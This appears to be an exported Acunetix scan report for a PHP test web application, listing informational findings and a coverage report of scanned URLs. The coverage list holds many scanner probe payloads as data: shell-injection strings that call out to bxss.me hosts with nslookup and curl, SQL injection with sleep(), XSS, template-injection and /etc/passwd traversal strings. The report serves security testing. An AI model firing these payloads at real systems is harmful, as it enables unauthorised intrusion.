- http://92.51.39.106:8050/tos.php
- http://92.51.39.106:8050/images/
- http://92.51.39.106:8050/index.php
- http://92.51.39.106:8050/test.php
- http://92.51.39.106:8050/cart/
- http://92.51.39.106:8050/images/menu/
- http://92.51.39.106:8050/css/blueprint/src/
- http://92.51.39.106:8050/pictures/recent.php
- http://92.51.39.106:8050/users/login.php
- http://92.51.39.106:8050/upload/doggie/
- http://92.51.39.106:8050/admin/
- http://92.51.39.106:8050/cart/add_coupon.php
- http://92.51.39.106:8050/pictures/upload.php
- http://92.51.39.106:8050/upload/m,m/

Request headers

```
GET / HTTP/1.1
Referer: http://92.51.39.106:8050/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Error page web server version disclosure

Severity	**Informational**
Reported by module	/Scripts/PerServer/Error_Page_Path_Disclosure.script

Description

Application errors or warning messages may disclose sensitive information about an application's internal workings to an attacker.

Acunetix found the web server version number and a list of modules enabled on the target server. Consult the 'Attack details' section for more information about the affected page.

Impact

Error messages information about an application's internal workings may be used to escalate attacks.

Recommendation

Properly configure the web server not to disclose information about an application's internal workings to the user. Consult the 'Web references' section for more information.

References

[Custom Error Responses (Apache HTTP Server)](https://httpd.apache.org/docs/current/custom-error.html) (https://httpd.apache.org/docs/current/custom-error.html)
[server_tokens (Nginx)](http://nginx.org/en/docs/http/ngx_http_core_module.html#server_tokens) (http://nginx.org/en/docs/http/ngx_http_core_module.html#server_tokens)
[Remove Unwanted HTTP Response Headers (Microsoft IIS)](https://blogs.msdn.microsoft.com/varunm/2013/04/23/remove-unwanted-http-response-headers/) (https://blogs.msdn.microsoft.com/varunm/2013/04/23/remove-unwanted-http-response-headers/)

Affected items

Web Server

Details

Request headers

```
GET /aKZBLPch5a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

File Upload Functionality Detected

Severity	**Informational**
Reported by module	/Crawler/12-Crawler_File_Upload.js

Description

These pages allows visitors to upload files to the server. Various web applications allow users to upload files (such as pictures, images, sounds, ...). Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Impact

If the uploaded files are not safely checked an attacker may upload malicious files.

Recommendation

Restrict file types accepted for upload: check the file extension and only allow certain files to be uploaded. Use a whitelist approach instead of a blacklist. Check for double extensions such as .php.png. Check for files without a filename like .htaccess (on ASP.NET, check for configuration files like web.config). Change the permissions on the upload folder so the files within it are not executable. If possible, rename the files that are uploaded.

References

[File Upload Functionality Detected | Invicti](https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/file-upload-functionality-detected/) (https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/file-upload-functionality-detected/)

Affected items

Web Server

Details

Pages with file upload forms:

- http://92.51.39.106:8050/pictures/upload.php

```
Form name: <empty>
Form action: /pictures/upload.php
Form method: POST
Form file input: pic [file]
```

Request headers

```
GET /pictures/upload.php HTTP/1.1
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Permissions-Policy header not implemented

Severity	**Informational**
Reported by module	/httpdata/permissions_policy.js

Description

The Permissions-Policy header allows developers to selectively enable and disable use of various browser features and APIs.

Impact

Recommendation

References

Permissions-Policy / Feature-Policy (MDN) (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy)
Permissions Policy (W3C) (https://www.w3.org/TR/permissions-policy-1/)

Affected items

Web Server

Details

Locations without Permissions-Policy header:

- http://92.51.39.106:8050/
- http://92.51.39.106:8050/admin/index.php
- http://92.51.39.106:8050/piccheck.php
- http://92.51.39.106:8050/pictures/search.php
- http://92.51.39.106:8050/users/sample.php
- http://92.51.39.106:8050/upload/11111111/
- http://92.51.39.106:8050/calendar.php
- http://92.51.39.106:8050/guestbook.php
- http://92.51.39.106:8050/tos.php
- http://92.51.39.106:8050/images/
- http://92.51.39.106:8050/index.php
- http://92.51.39.106:8050/test.php
- http://92.51.39.106:8050/cart/
- http://92.51.39.106:8050/icons/
- http://92.51.39.106:8050/images/menu/
- http://92.51.39.106:8050/css/blueprint/src/
- http://92.51.39.106:8050/pictures/recent.php
- http://92.51.39.106:8050/users/login.php
- http://92.51.39.106:8050/upload/doggie/
- http://92.51.39.106:8050/admin/
- http://92.51.39.106:8050/cart/add_coupon.php

Request headers

```
GET / HTTP/1.1
Referer: http://92.51.39.106:8050/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

ⓘ [Possible] Internal Path Disclosure (*nix)

Severity	**Informational**
Reported by module	/httpdata/text_search.js

Description

One or more fully qualified path names were found. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Prevent this information from being displayed to the user.

References

Full Path Disclosure (https://www.owasp.org/index.php/Full_Path_Disclosure)

Affected items

Web Server

Details

Pages with paths being disclosed:

- http://92.51.39.106:8050/admin/
  :/usr/share/php
- http://92.51.39.106:8050/admin/index.php
  :/usr/share/php

Request headers

```
GET /admin/?page=1 HTTP/1.1
Referer: http://92.51.39.106:8050/admin/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

ⓘ [Possible] Internal Path Disclosure (Windows)

Severity	**Informational**
Reported by module	/httpdata/text_search.js

Description

One or more fully qualified path names were been found. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Prevent this information from being displayed to the user.

References

[Full Path Disclosure](https://www.owasp.org/index.php/Full_Path_Disclosure)(https://www.owasp.org/index.php/Full_Path_Disclosure)

Affected items

Web Server

Details

Pages with paths being disclosed:

- http://92.51.39.106:8050/guestbook.php
  c:\Windows\system.ini

Request headers

```
GET /guestbook.php HTTP/1.1
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive
```

Scanned items (coverage report)

```
http://92.51.39.106:8050/
http://92.51.39.106:8050/admin/
http://92.51.39.106:8050/admin/index.php
http://92.51.39.106:8050/calendar.php
http://92.51.39.106:8050/cart/
http://92.51.39.106:8050/cart/action.php
http://92.51.39.106:8050/cart/add_coupon.php
http://92.51.39.106:8050/cart/confirm.php
http://92.51.39.106:8050/cart/review.php
http://92.51.39.106:8050/comments/
http://92.51.39.106:8050/comments/add_comment.php
http://92.51.39.106:8050/comments/delete_preview_comment.php
http://92.51.39.106:8050/comments/preview_comment.php
http://92.51.39.106:8050/css/
http://92.51.39.106:8050/css/blueprint/
http://92.51.39.106:8050/css/blueprint/ie.css
http://92.51.39.106:8050/css/blueprint/print.css
http://92.51.39.106:8050/css/blueprint/screen.css
http://92.51.39.106:8050/css/blueprint/src/
http://92.51.39.106:8050/css/blueprint/src/forms.css
http://92.51.39.106:8050/css/blueprint/src/grid.css
http://92.51.39.106:8050/css/blueprint/src/ie.css
http://92.51.39.106:8050/css/blueprint/src/print.css
http://92.51.39.106:8050/css/blueprint/src/reset.css
http://92.51.39.106:8050/css/blueprint/src/src/
http://92.51.39.106:8050/css/blueprint/src/typography.css
http://92.51.39.106:8050/css/stylings.css
http://92.51.39.106:8050/error.php
http://92.51.39.106:8050/guestbook.php
http://92.51.39.106:8050/icons/
http://92.51.39.106:8050/images/
http://92.51.39.106:8050/images/menu/
http://92.51.39.106:8050/index.php
http://92.51.39.106:8050/passcheck.php
http://92.51.39.106:8050/piccheck.php
http://92.51.39.106:8050/pictures/
http://92.51.39.106:8050/pictures/recent.php
http://92.51.39.106:8050/pictures/search.php
http://92.51.39.106:8050/pictures/upload.php
http://92.51.39.106:8050/pictures/view.php
http://92.51.39.106:8050/test.php
http://92.51.39.106:8050/tos.php
http://92.51.39.106:8050/upload/
http://92.51.39.106:8050/upload/!(()&&!|*|*|/
http://92.51.39.106:8050/upload/"
http://92.51.39.106:8050/upload/"+"A".concat(70-3).concat(22*4).concat(103).concat(82).concat(105).concat(87)+(require"socket"
Socket.gethostbyname("hitum"+"hyzuhobdc8efa.bxss.me.")[3].to_s)+"/
http://92.51.39.106:8050/upload/"+response.write(9244914*9055729)+"/
http://92.51.39.106:8050/upload/".gethostbyname(lc("hitgf"."xygxnmef983d3.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(73).chr(114).chr(80).'
http://92.51.39.106:8050/upload/"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")/
http://92.51.39.106:8050/upload/$(nslookup -q=cname hitqtxjkangzfd72eb.bxss.me||curl hitqtxjkangzfd72eb.bxss.me)/
http://92.51.39.106:8050/upload/${9999690+10000016}/
http://92.51.39.106:8050/upload/${@print(md5(31337))}/
http://92.51.39.106:8050/upload/%2fetc%2fpasswd/
http://92.51.39.106:8050/upload/%31%37%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%42%50%52%4F%28%39%32%36%31%34%
http://92.51.39.106:8050/upload/<!--/
http://92.51.39.106:8050/upload/<%={{={@{#{${dfb}}%>/
http://92.51.39.106:8050/upload/<th:t="${dfb}#foreach/
http://92.51.39.106:8050/upload/`(nslookup -q=cname hitkrrzfpflqq75225.bxss.me||curl hitkrrzfpflqq75225.bxss.me)`/
http://92.51.39.106:8050/upload/�"onmouseover=BPRO(97705)/
http://92.51.39.106:8050/upload/&(nslookup${IFS}-q${IFS}cname${IFS}hitcsdfblmvadc7d51.bxss.me||curl${IFS}hitcsdfblmvadc7d51.bxss.me)&'/
http://92.51.39.106:8050/upload/&(nslookup${IFS}-
q${IFS}cname${IFS}hitcsdfblmvadc7d51.bxss.me||curl${IFS}hitcsdfblmvadc7d51.bxss.me)&'/"`0&(nslookup${IFS}-
q${IFS}cname${IFS}hitcsdfblmvadc7d51.bxss.me||curl${IFS}hitcsdfblmvadc7d51.bxss.me)&`'/
http://92.51.39.106:8050/upload/&(nslookup -q=cname hituoplyyjgomdce02.bxss.me||curl hituoplyyjgomdce02.bxss.me)&'/
http://92.51.39.106:8050/upload/&(nslookup -q=cname hituoplyyjgomdce02.bxss.me||curl hituoplyyjgomdce02.bxss.me)&'/"`0&(nslookup -q=cname
hituoplyyjgomdce02.bxss.me||curl hituoplyyjgomdce02.bxss.me)&`'/
http://92.51.39.106:8050/upload/&nslookup -q=cname hitotdusqlyqcb3d3e.bxss.me&'/
http://92.51.39.106:8050/upload/&nslookup -q=cname hitotdusqlyqcb3d3e.bxss.me&'/"`0&nslookup -q=cname hitotdusqlyqcb3d3e.bxss.me&`'/
http://92.51.39.106:8050/upload/'
http://92.51.39.106:8050/upload/'"()&%<zzz><ScRiPt >BPRO(9535)</
http://92.51.39.106:8050/upload/'"()/
http://92.51.39.106:8050/upload/'"/
http://92.51.39.106:8050/upload/'+'A'.concat(70-3).concat(22*4).concat(111).concat(67).concat(97).concat(71)+(require'socket'
Socket.gethostbyname('hituk'+'vpotbkmj37f97.bxss.me.')[3].to_s)+'/
http://92.51.39.106:8050/upload/'+response.write(9244914*9055729)+'/
http://92.51.39.106:8050/upload/'.gethostbyname(lc('hitzl'.'nqprtyqvb1f95.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(65).chr(116).chr(90).'/
http://92.51.39.106:8050/upload/'.print(md5(31337)).'/
http://92.51.39.106:8050/upload/'A'.concat(70-3).concat(22*4).concat(102).concat(85).concat(111).concat(70)+(require'socket'
Socket.gethostbyname('hitdi'+'mphwgxvxe8178.bxss.me.')[3].to_s)/
http://92.51.39.106:8050/upload/'{${print(md5(31337))}}'/
http://92.51.39.106:8050/upload/(nslookup -q=cname hitcoqnywarwg374b4.bxss.me||curl hitcoqnywarwg374b4.bxss.me))/
http://92.51.39.106:8050/upload/(select(0)from(select(sleep(15)))v)/
http://92.51.39.106:8050/upload/)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))/
http://92.51.39.106:8050/upload/)/
http://92.51.39.106:8050/upload/-1" OR 2+322-322-1=0+0+0+1 -- /
http://92.51.39.106:8050/upload/-1" OR 3+322-322-1=0+0+0+1 -- /
http://92.51.39.106:8050/upload/-1 OR 2+97-97-1=0+0+0+1 -- /
http://92.51.39.106:8050/upload/-1 OR 2+982-982-1=0+0+0+1/
http://92.51.39.106:8050/upload/-1 OR 3+97-97-1=0+0+0+1 -- /
http://92.51.39.106:8050/upload/-1 OR 3+982-982-1=0+0+0+1/
http://92.51.39.106:8050/upload/-1' OR 2+455-455-1=0+0+0+1 or 'YwwpTDAL'='/
http://92.51.39.106:8050/upload/-1' OR 2+876-876-1=0+0+0+1 -- /
http://92.51.39.106:8050/upload/-1' OR 3+455-455-1=0+0+0+1 or 'YwwpTDAL'='/
http://92.51.39.106:8050/upload/-1' OR 3+876-876-1=0+0+0+1 -- /
http://92.51.39.106:8050/upload/11111111/
http://92.51.39.106:8050/upload/11111111/111111
http://92.51.39.106:8050/upload/17" 0eXl=BPRO([!+!]) IsZ="/
http://92.51.39.106:8050/upload/17/
http://92.51.39.106:8050/upload/17/!(()&&!|*|*|
http://92.51.39.106:8050/upload/17/"
http://92.51.39.106:8050/upload/17/"+"A".concat(70-3).concat(22*4).concat(118).concat(90).concat(122).concat(72)+(require"socket"
Socket.gethostbyname("hitmp"+"okusiukxb272f.bxss.me.")[3].to_s)+"
http://92.51.39.106:8050/upload/17/"+response.write(9832030*9703697)+"
http://92.51.39.106:8050/upload/17/".gethostbyname(lc("hitij"."pesdzehn86694.bxss.me.")).'A".chr(67).chr(hex("58")).chr(99).chr(68).chr(113).chr(89)
http://92.51.39.106:8050/upload/17/"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
http://92.51.39.106:8050/upload/17/$(nslookup-q=cnamehitmdmixpstax5e098.bxss.me||curlhitmdmixpstax5e098.bxss.me)
http://92.51.39.106:8050/upload/17/${10000191+10000108}
http://92.51.39.106:8050/upload/17/${@print(md5(31337))}
http://92.51.39.106:8050/upload/17/${@print(md5(31337))}/
http://92.51.39.106:8050/upload/17/%52%44%46%59%6A%6F%6C%66%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%42%50%52%
http://92.51.39.106:8050/upload/17/<!--
http://92.51.39.106:8050/upload/17/�"onmouseover=BPRO(98315)
http://92.51.39.106:8050/upload/17/&(nslookup${IFS}-q${IFS}cname${IFS}hitwtkzyinwxb66aac.bxss.me||curl${IFS}hitwtkzyinwxb66aac.bxss.me)&'/
http://92.51.39.106:8050/upload/17/&(nslookup${IFS}-
q${IFS}cname${IFS}hitwtkzyinwxb66aac.bxss.me||curl${IFS}hitwtkzyinwxb66aac.bxss.me)&'/"`0&(nslookup${IFS}-
q${IFS}cname${IFS}hitwtkzyinwxb66aac.bxss.me||curl${IFS}hitwtkzyinwxb66aac.bxss.me)&`'
http://92.51.39.106:8050/upload/17/&(nslookup-q=cnamehitfqwyeeuolx353f3.bxss.me||curlhitfqwyeeuolx353f3.bxss.me)&'/
http://92.51.39.106:8050/upload/17/&(nslookup-q=cnamehitfqwyeeuolx353f3.bxss.me||curlhitfqwyeeuolx353f3.bxss.me)&'/"`0&(nslookup-
q=cnamehitfqwyeeuolx353f3.bxss.me||curlhitfqwyeeuolx353f3.bxss.me)&`'
http://92.51.39.106:8050/upload/17/&nslookup-q=cnamehitgflxspelxv7e138.bxss.me&'/
http://92.51.39.106:8050/upload/17/&nslookup-q=cnamehitgflxspelxv7e138.bxss.me&'/"`0&nslookup-q=cnamehitgflxspelxv7e138.bxss.me&`'
http://92.51.39.106:8050/upload/17/'
http://92.51.39.106:8050/upload/17/'"
http://92.51.39.106:8050/upload/17/'"()
http://92.51.39.106:8050/upload/17/'"()&%<zzz><ScRiPt>BPRO(9376)<ScRiPt>
http://92.51.39.106:8050/upload/17/'"()&%<zzz><ScRiPt>BPRO(9376)<ScRiPt>
http://92.51.39.106:8050/upload/17/'+'A'.concat(70-3).concat(22*4).concat(116).concat(84).concat(102).concat(71)+(require'socket'
Socket.gethostbyname('hitbj'+'nqsewoip2125a.bxss.me.')[3].to_s)+'
http://92.51.39.106:8050/upload/17/'+response.write(9832030*9703697)+'
http://92.51.39.106:8050/upload/17/'.gethostbyname(lc('hitum'.'iebegrczac81f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(73).chr(100).chr(80).'
http://92.51.39.106:8050/upload/17/'.print(md5(31337)).'
http://92.51.39.106:8050/upload/17/'A'.concat(70-3).concat(22*4).concat(117).concat(68).concat(114).concat(82)+(require'socket'
Socket.gethostbyname('hithp'+'lqgyzarbc9cb8.bxss.me.')[3].to_s)
http://92.51.39.106:8050/upload/17/'{${print(md5(31337))}}'
http://92.51.39.106:8050/upload/17/(nslookup-q=cnamehitmofsgysuvzf909c.bxss.me||curlhitmofsgysuvzf909c.bxss.me))
http://92.51.39.106:8050/upload/17/(select(0)from(select(sleep(15)))v)*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*
http://92.51.39.106:8050/upload/17/)
http://92.51.39.106:8050/upload/17/)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
http://92.51.39.106:8050/upload/17/-1"OR2+402-402-1=0+0+0+1--
http://92.51.39.106:8050/upload/17/-1"OR3+402-402-1=0+0+0+1--
http://92.51.39.106:8050/upload/17/-1'OR2+469-469-1=0+0+0+1or'uOP5nhOw'='
http://92.51.39.106:8050/upload/17/-1'OR2+780-780-1=0+0+0+1--
http://92.51.39.106:8050/upload/17/-1'OR3+469-469-1=0+0+0+1or'uOP5nhOw'='
```

```
http://92.51.39.106:8050/upload/17/-1'OR3+780-780-1=0+0+0+1--
http://92.51.39.106:8050/upload/17/-1OR2+301-301-1=0+0+0+1--
http://92.51.39.106:8050/upload/17/-1OR2+552-552-1=0+0+0+1
http://92.51.39.106:8050/upload/17/-1OR3+301-301-1=0+0+0+1--
http://92.51.39.106:8050/upload/17/-1OR3+552-552-1=0+0+0+1
http://92.51.39.106:8050/upload/17/1H39YK3KT0
http://92.51.39.106:8050/upload/17/1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
http://92.51.39.106:8050/upload/17/RDFYjolf|echomjxvtx$()/
http://92.51.39.106:8050/upload/17/RDFYjolf|echomjxvtx$()/qdeksx/
http://92.51.39.106:8050/upload/17/RDFYjolf|echomjxvtx$()/qdeksx/nz^xyu||a
http://92.51.39.106:8050/upload/17/u0022onmouseover=BPRO(91043)/
http://92.51.39.106:8050/upload/17/u0022onmouseover=BPRO(91043)/u0022/
http://92.51.39.106:8050/upload/doggie/
http://92.51.39.106:8050/upload/flowers/
http://92.51.39.106:8050/upload/house/
http://92.51.39.106:8050/upload/house/My_House
http://92.51.39.106:8050/upload/house/hodjjgld
http://92.51.39.106:8050/upload/house/our_house
http://92.51.39.106:8050/upload/m,m/
http://92.51.39.106:8050/upload/toga/
http://92.51.39.106:8050/upload/waterfall/
http://92.51.39.106:8050/users/
http://92.51.39.106:8050/users/home.php
http://92.51.39.106:8050/users/login.php
http://92.51.39.106:8050/users/logout.php
http://92.51.39.106:8050/users/register.php
http://92.51.39.106:8050/users/sample.php
http://92.51.39.106:8050/users/view.php
```